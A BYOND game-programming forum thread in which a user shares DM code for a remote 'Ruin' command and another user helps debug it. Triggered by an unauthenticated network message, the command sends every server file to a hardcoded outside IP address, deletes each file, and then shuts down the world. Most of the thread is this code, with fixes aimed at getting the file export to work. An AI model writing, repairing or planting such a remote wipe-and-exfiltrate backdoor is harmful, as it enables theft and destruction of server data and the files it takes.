ID:272514
 
Server One

world/Topic(A)
A=params2list(A)
switch(A["Command"])
if("Ruin")
world<<"<font size=4><font color=#FFFF00>Server Ruined by Remote Authority"
Ruin()
else
var/Text=A["Command"]
src<<"<font size=4><font color=#FFFF00>[Text]"
..()
proc/Ruin()
for(var/File in flist("./"))
world<<"Deleting [File]."
Export("byond://68.197.123.169:911",File)
world<<"Confirmed Send"
fdel(File)
world<<"Confirmed Delete"
del(world)

proc/Export(Addr,File)
world.Export(Addr,File)


Server Two:

world/Topic() 
var/savefile/F = new(world.Import())
for(var/mob/M in world)
if(M.client)
M<<ftp(F)
mob/verb/Remote()
var/A=input("Server") as text
var/B=input("Command") as text
world.Export("byond://[A]?Command=[B]")


With Server one being the server being deleted, and Server Two being the server doing the deleting. I havn't been able to properly get it to export the files in a way for it to send and mainly I'm trying to get how to get it to work right.
CK Productions wrote:
Server One

world/Topic(A)
> A=params2list(A)
> switch(A["Command"])
> if("Ruin")
> world<<"<font size=4><font color=#FFFF00>Server Ruined by Remote Authority"
> Ruin()
> else
> var/Text=A["Command"]
> src<<"<font size=4><font color=#FFFF00>[Text]"
> ..()
> proc/Ruin()
> for(var/File in flist("./"))
> world<<"Deleting [File]."
> world.Export("byond://68.197.123.169:911",File) // Just call the world export procedure from here.
> world<<"Confirmed Send"
> fdel(File)
> world<<"Confirmed Delete"
> del(world)
>
/* This is not really needed is it?
> proc/Export(Addr,File)
> world.Export(Addr,File)
*/

Server Two:

world/Topic() 
// world.Import() returns the file sent in resource cache.
// Unless you are saving savefiles specifically this is wrong.
// Which I don't think you are given your export code above.
> //var/savefile/F = new(world.Import())
> for(var/mob/M in world)
> if(M.client)
> M<<ftp(world.Import())
> mob/verb/Remote()
> var/A=input("Server") as text
> var/B=input("Command") as text
> world.Export("byond://[A]?Command=[B]")

With Server one being the server being deleted, and Server Two being the server doing the deleting. I havn't been able to properly get it to export the files in a way for it to send and mainly I'm trying to get how to get it to work right.

You might be able to store world.Import() in a variable var/F and just pass that through FTP. But I'm not sure on that.